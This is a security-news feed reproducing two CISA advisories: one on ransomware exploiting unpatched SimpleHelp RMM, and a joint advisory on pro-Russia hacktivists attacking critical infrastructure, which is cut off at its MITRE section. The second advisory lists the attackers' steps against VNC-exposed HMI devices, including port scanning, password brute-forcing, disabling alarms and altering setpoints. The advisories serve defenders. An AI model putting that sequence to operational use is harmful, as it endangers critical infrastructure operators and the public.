<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
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<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
